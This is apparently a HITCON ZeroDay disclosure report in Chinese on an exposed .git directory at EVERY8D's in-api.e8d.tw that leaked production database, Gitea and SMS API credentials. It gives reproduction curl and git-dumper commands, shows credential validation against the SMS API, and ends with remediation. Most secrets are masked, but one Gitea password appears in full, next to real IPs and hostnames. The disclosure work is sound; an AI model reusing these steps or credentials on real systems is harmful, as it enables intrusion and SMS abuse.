互動資通 in-api.e8d.tw .git 目錄暴露 → 生產 MySQL/MSSQL 資料庫憑證 + Gitea 帳密 + SMS API 帳密完整洩漏 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00631
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通 in-api.e8d.tw .git 目錄暴露 → 生產 MySQL/MSSQL 資料庫憑證 + Gitea 帳密 + SMS API 帳密完整洩漏
  • Introduction: 暴露 .git 目錄,可下載完整源碼,取得生產 MySQL/MSSQL 憑證、Gitea 帳密及已驗證有效的 SMS API 帳密。

處理狀態

目前狀態

公開
Last Update : 2026/08/13
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/05/06 01:00:02 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/09 17:54:03 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:48:23 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:48:23 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:48:23 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/06 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2026/07/06 11:06:01 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/08 15:11:59 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 21:21:24 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/08/12 10:29:35 : 確認已修補 (由 罐頭 更新此狀態)
  • 2026/08/13 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00631
  • 通報者:guan4tou2 (罐頭)
  • 風險:嚴重
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://in-api.e8d.tw/.git/HEAD
https://in-api.e8d.tw/.git/config
https://in-api.e8d.tw/sms

敘述

漏洞概述

in-api.e8d.tw 為 EVERY8D 互動資通的內部 SMS 發送 API(對外公開,PHP/Fat-Free Framework),其 .git 目錄完整暴露,可被任何人直接下載 Git 倉庫源碼及配置文件。

在 config.ini(生產環境配置)中發現以下憑證:

類型 Host 帳號 密碼
MySQL DB (api) 192.168.2.242 apxxxx 5]gNDXXXXXx
MSSQL DB (E8D) 192.168.2.169:1433 avxxx intXXXXXXx
MSSQL DB (COMMON) 192.168.2.160:1433 avxxx intXXXXXXx
SMS API api.e8d.tw crmxXXXXXX crmXXXXXXx

.git/config 的 remote URL 中另外硬編碼 Gitea 版本控制系統認證:

http://jxxxxx:[email protected]:8088/tech_service/api.git

重現步驟(Live verified: 2026-05-05)

步驟 1:確認 .git/HEAD 存在

curl -sk "https://in-api.e8d.tw/.git/HEAD"
# → ref: refs/heads/prod_20240530

步驟 2:讀取 .git/config 取得 Gitea 憑證

curl -sk "https://in-api.e8d.tw/.git/config"

回應(節錄):

[remote "origin"]
    url = http://jaxxxx:[email protected]:8088/tech_service/api.git

→ Gitea 帳密:jaxxxxxx / mg5Xxxxxx,伺服器:60.250.94.152:8088

步驟 3:使用 git-dumper 下載完整源碼

pip3 install git-dumper
git-dumper https://in-api.e8d.tw/.git/ ./in_api_dump/

成功 checkout 完整 prod_20240530 分支代碼(包含 config.ini, mainfile.php, app/modules/sms.php 等)。

步驟 4:讀取生產配置文件並驗證 SMS 帳密有效性

cat in_api_dump/config.ini

回應(完整):

[globals]
dbtype=mysql
dbhost=192.168.2.242
dbname=axxxx
dbuser=axx
dbpassword=5]gxxxxx

msdbhost=192.168.2.169
msdbport=1433
msdbname=E8D
msdbuser=avxxx
msdbpassword=intexxxxxx

common_msdbhost=192.168.2.160
common_msdbport=1433
common_msdbname=COMMON
common_msdbuser=avxxxx
common_msdbpassword=intexxxxxxx

sendSMSUrl=https://api.e8d.tw/API21/HTTP/sendSMS.ashx
smsUserID=crxxxxx
smsPassword=crmxxxxxxx

步驟 4b:驗證 SMS API 憑證有效(使用 getCredit,不發送簡訊)

curl -sk "https://api.e8d.tw/API21/HTTP/getCredit.ashx?UID=crmxxxxx&PWD=crmoxxxx"
# → 3382.00

→ SMS API 帳密 crmxxxxxx / crmxxxxxx 確認有效,生產帳戶餘額 3,382 點

步驟 4b-2:驗證 sendSMS 憑證通過(不帶 DEST,不發送真實 SMS)

# 無憑證對照(預期 -300)
curl -sk "https://api.e8d.tw/API21/HTTP/sendSMS.ashx"
# → -300,帳號密碼不得為空

# 帶憑證但不帶 DEST
curl -sk "https://api.e8d.tw/API21/HTTP/sendSMS.ashx?UID=crxxxxx&PWD=crmxxxxx&SB=test&MSG=test"
# → -27,電話號碼不得為空

→ 錯誤碼從 -300(認證失敗)→ -27(認證通過,僅缺收件號碼),確認只需加入 DEST=<手機號> 即可對任意號碼發送 SMS

步驟 4b-3:sendMMS 同樣受影響

curl -sk "https://api.e8d.tw/API21/HTTP/MMS/sendMMS.ashx?UID=crmxxxxx&PWD=crmxxxxx"
# → -27,電話號碼不得為空

→ 相同憑證對 MMS API 也有效(SMSCharge=1/MMSCharge=3,每發一則 MMS 耗 3 點)

步驟 4c:驗證開發/測試 SMS API 憑證也在生產環境有效

config_develop.ini 中的開發環境 SMS 帳密:

curl -sk "https://api.e8d.tw/API21/HTTP/getCredit.ashx?UID=tech_xxxx&PWD=TLsUxxxxx"
# → 115.00

→ 開發環境帳密 techxxxxxx / TLsxxxxx 在生產 SMS API 同樣有效,餘額 115 點(跨環境憑證共用,同一 API 服務器未分離環境)

步驟 5:確認伺服器部署歷史

cat in_api_dump/.git/logs/HEAD
# root@smsv3-ap-internal-1.(none) ... clone: from http://jaxxxx:[email protected]:8088/...
# root@intap185p.(none) ... pull: Fast-forward

→ 揭露內部伺服器主機名稱 smsv3-ap-internal-1 及 intap185p(in-api.e8d.tw 伺服器)

步驟 5b:js.e8d.tw .git/logs/HEAD 揭露 ext-api 伺服器

curl -sk "https://js.e8d.tw/.git/logs/HEAD"
# root@smsv3-ap-ext-api-2.(none) ... clone: from http://jaxxxxx:[email protected]:8088/tech_service/js.git

→ js.e8d.tw 與 ext-api.e8d.tw 部署於同一伺服器:smsv3-ap-ext-api-2(210.68.77.198),使用相同 Gitea 帳密部署 tech_service/js.git

已驗證影響(Verified)

  • ✅ .git/HEAD 公開存取(HTTP 200),branch: prod_20240530(2026-04-29 實測)
  • ✅ .git/config 包含 Gitea Basic Auth URL(帳號 jaxxxx,密碼 mg5XYWxxxx)
  • ✅ git-dumper 成功下載完整 repo(git checkout 成功)
  • ✅ config.ini 包含生產 MySQL 憑證(apxxxx:5][email protected])
  • ✅ config.ini 包含生產 MSSQL E8D 憑證(avxxxx:[email protected])
  • ✅ config.ini 包含生產 MSSQL COMMON 憑證(avxxxx:[email protected])
  • ✅ config.ini 包含生產 SMS API 帳密(crxxxxx / cxxxxx)
  • ✅ SMS API 帳密實際驗證有效:getCredit.ashx?UID=crmxxxxx&PWD=crxxxx → 3157.00(生產帳戶餘額 3,157 點,2026-05-05 再次實測確認)
  • ✅ sendSMS 憑證通過:帶憑證無 DEST → -27,電話號碼不得為空(vs 無憑證 -300,帳號密碼不得為空),確認加入手機號即可發送
  • ✅ sendMMS 憑證同樣通過:sendMMS.ashx?UID=crmxxxxx&PWD=crmxxxxx → -27,電話號碼不得為空
  • ✅ 開發環境 SMS 帳密也在生產有效:getCredit.ashx?UID=tech_xxxxx&PWD=TLsU8%xxxxx → 115.00(2026-04-29 實測)
  • ✅ config_develop.ini 中所有環境(develop/test/uat)的 MySQL 密碼與生產相同(5]gNxxxxx)
  • ✅ Git commit author email 洩漏:[email protected](員工真實身份確認)
  • ✅ 完整伺服器架構洩漏:in-api = smsv3-ap-internal-1/intap185p;js.e8d.tw + ext-api = smsv3-ap-ext-api-2(210.68.77.198)

潛在影響(Potential)

  • Gitea jack:mg5XYW7HXaaYEN8 登入 → 可存取 tech_service 組織所有 repository
  • MySQL DB [email protected]:含 SMS 發送記錄、用戶帳號、OTP 歷史(sms_message_log, siteAccount)
  • MSSQL E8D / COMMON DB:EVERY8D 核心資料庫,可能含完整客戶資料
  • SMS API crxxxxx / crxxxx:使用 api.e8d.tw/API21/HTTP/sendSMS.ashx 可以 EVERY8D 身份發送任意 SMS

漏洞根因

  1. 部署時未從 Web root 移除 .git 目錄,Web 伺服器直接提供靜態目錄存取
  2. 敏感生產配置(DB 密碼、API 帳密)以明文存於 Git repo
  3. Gitea HTTP Basic Auth 認證直接寫入 remote URL(高風險模式,任何 git metadata 洩漏即暴露帳密)

修補建議

1. 立即:移除 in-api.e8d.tw Web root 下的 .git 目錄,或在 nginx/Apache 加入 location ~ /\.git { deny all; return 403; } 規則
2. 立即:輪換所有洩漏憑證:MySQL api、MSSQL av8d、Gitea jack、SMS API crmonly1
3. 短期:改用環境變數或 HashiCorp Vault 管理生產密鑰,不在 Git 歷史中存儲明文
4. 短期:Git remote URL 改用 SSH key 或個人 Access Token(不在 URL 中嵌入帳密)

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;